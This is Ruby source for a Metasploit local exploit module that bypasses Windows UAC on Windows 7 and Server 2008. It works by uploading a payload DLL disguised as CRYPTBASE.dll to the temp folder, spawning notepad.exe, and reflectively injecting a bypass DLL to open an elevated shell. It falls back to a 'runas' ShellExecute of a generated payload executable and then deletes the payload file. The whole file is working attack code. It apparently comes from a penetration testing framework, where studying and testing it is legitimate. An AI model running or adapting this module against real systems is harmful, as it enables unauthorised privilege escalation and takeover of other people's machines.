##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require
'msf/core'
require
'msf/core/exploit/exe'
class
Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking
include Exploit::
EXE
include Post::
File
include Post::Windows::Priv
include Post::Windows::ReflectiveDLLInjection
def
initialize(info={})
super
( update_info( info,
'Name'
=>
'Windows Escalate UAC Protection Bypass (In Memory Injection)'
,
'Description'
=> %q{
This
module
will bypass Windows
UAC
by utilizing the trusted publisher
certificate through process injection. It will spawn a second shell that
has the
UAC
flag turned off. This
module
uses the Reflective
DLL
Injection
technique to drop only the
DLL
payload binary instead of three seperate
binaries
in
the standard technique. However, it requires the correct
architecture to be selected, (use x64
for
SYSWOW64
systems also).
},
'License'
=>
MSF_LICENSE
,
'Author'
=> [
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>'
,
'mitnick'
,
'mubix'
,
# Port to local exploit
'Ben Campbell <eat_meatballs[at]hotmail.co.uk'
# In memory technique
],
'Platform'
=> [
'win'
],
'SessionTypes'
=> [
'meterpreter'
],
'Targets'
=> [
[
'Windows x86'
, {
'Arch'
=>
ARCH_X86
} ],
[
'Windows x64'
, {
'Arch'
=>
ARCH_X86_64
} ]
],
'DefaultTarget'
=>
0
,
'References'
=> [
[
]
],
'DisclosureDate'
=>
"Dec 31 2010"
))
end
def
bypass_dll_path
# path to the bypassuac binary
path = ::
File
.join(Msf::Config.data_directory,
"post"
)
# decide, x86 or x64
sysarch = sysinfo[
"Architecture"
]
if
sysarch =~ /x64/i
unless
(target_arch.first =~ /
64
/i)
and
(payload_instance.arch.first =~ /
64
/i)
fail_with(
Exploit::Failure::BadConfig,
"x86 Target Selected for x64 System"
)
end
if
sysarch =~ /
WOW64
/i
return
::
File
.join(path,
"bypassuac-x86.dll"
)
else
return
::
File
.join(path,
"bypassuac-x64.dll"
)
end
else
if
(target_arch.first =~ /
64
/i)
or
(payload_instance.arch.first =~ /
64
/i)
fail_with(
Exploit::Failure::BadConfig,
"x64 Target Selected for x86 System"
)
end
::
File
.join(path,
"bypassuac-x86.dll"
)
end
end
def
check_permissions!
# Check if you are an admin
vprint_status(
'Checking admin status...'
)
admin_group = is_in_admin_group?
if
admin_group.
nil
?
print_error(
'Either whoami is not there or failed to execute'
)
print_error(
'Continuing under assumption you already checked...'
)
else
if
admin_group
print_good(
'Part of Administrators group! Continuing...'
)
else
fail_with(Exploit::Failure::NoAccess,
"Not in admins group, cannot escalate with this module"
)
end
end
if
get_integrity_level ==
INTEGRITY_LEVEL_SID
[
:low
]
fail_with(Exploit::Failure::NoAccess,
"Cannot BypassUAC from Low Integrity Level"
)
end
end
def
exploit
validate_environment!
case
get_uac_level
when
UAC_PROMPT_CREDS_IF_SECURE_DESKTOP
,
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP
,
UAC_PROMPT_CREDS
,
UAC_PROMPT_CONSENT
fail_with(Exploit::Failure::NotVulnerable,
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
)
when
UAC_DEFAULT
print_good
"UAC is set to Default"
print_good
"BypassUAC can bypass this setting, continuing..."
when
UAC_NO_PROMPT
print_warning
"UAC set to DoNotPrompt - using ShellExecute 'runas' method instead"
runas_method
return
end
check_permissions!
@temp_path
= expand_path(
'%TEMP%'
).strip
upload_payload_dll!
pid = spawn_inject_proc
run_injection(pid, bypass_dll_path)
# delete the uac bypass payload
vprint_status(
"Cleaning up payload file..."
)
file_rm(payload_filepath)
end
def
payload_filepath
"#{@temp_path}\\CRYPTBASE.dll"
end
def
runas_method
payload = generate_payload_exe
payload_filename = Rex::Text.rand_text_alpha((rand(
8
)+
6
)) +
".exe"
tmpdir = expand_path(
"%TEMP%"
)
tempexe = tmpdir +
"\\"
+ payload_filename
write_file(tempexe, payload)
print_status(
"Uploading payload: #{tempexe}"
)
session.railgun.shell32.ShellExecuteA(
nil
,
"runas"
,tempexe,
nil
,
nil
,
5
)
print_status(
"Payload executed"
)
end
def
run_injection(pid, dll_path)
vprint_status(
"Injecting #{datastore['DLL_PATH']} into process ID #{pid}"
)
begin
vprint_status(
"Opening process #{pid}"
)
host_process = client.sys.process.open(pid.to_i,
PROCESS_ALL_ACCESS
)
exploit_mem, offset = inject_dll_into_process(host_process, dll_path)
vprint_status(
"Executing payload"
)
thread = host_process.thread.create(exploit_mem + offset,
0
)
print_good(
"Successfully injected payload in to process: #{pid}"
)
client.railgun.kernel32.WaitForSingleObject(thread.handle,
14000
)
rescue
Rex::Post::Meterpreter::RequestError => e
print_error(
"Failed to Inject Payload to #{pid}!"
)
vprint_error(e.to_s)
end
end
def
spawn_inject_proc
windir = expand_path(
"%WINDIR%"
).strip
print_status(
"Spawning process with Windows Publisher Certificate, to inject into..."
)
cmd =
"#{windir}\\System32\\notepad.exe"
pid = cmd_exec_get_pid(cmd)
unless
pid
fail_with(Exploit::Failure::Unknown,
"Spawning Process failed..."
)
end
pid
end
def
upload_payload_dll!
payload = generate_payload_dll({
:dll_exitprocess
=>
true
})
print_status(
"Uploading the Payload DLL to the filesystem..."
)
begin
vprint_status(
"Payload DLL #{payload.length} bytes long being uploaded.."
)
write_file(payload_filepath, payload)
rescue
Rex::Post::Meterpreter::RequestError => e
fail_with(
Exploit::
Exception
::Unknown,
"Error uploading file #{payload_filepath}: #{e.class} #{e}"
)
end
end
def
validate_environment!
fail_with(Exploit::Failure::None,
'Already in elevated state'
)
if
is_admin?
or
is_system?
winver = sysinfo[
"OS"
]
unless
winver =~ /Windows
2008
|Windows [
7
]/
fail_with(Exploit::Failure::NotVulnerable,
"#{winver} is not vulnerable."
)
end
if
is_uac_enabled?
print_status
"UAC is Enabled, checking level..."
else
if
is_in_admin_group?
fail_with(Exploit::Failure::Unknown,
"UAC is disabled and we are in the admin group so something has gone wrong..."
)
else
fail_with(Exploit::Failure::NoAccess,
"Not in admins group, cannot escalate with this module"
)
end
end
end
end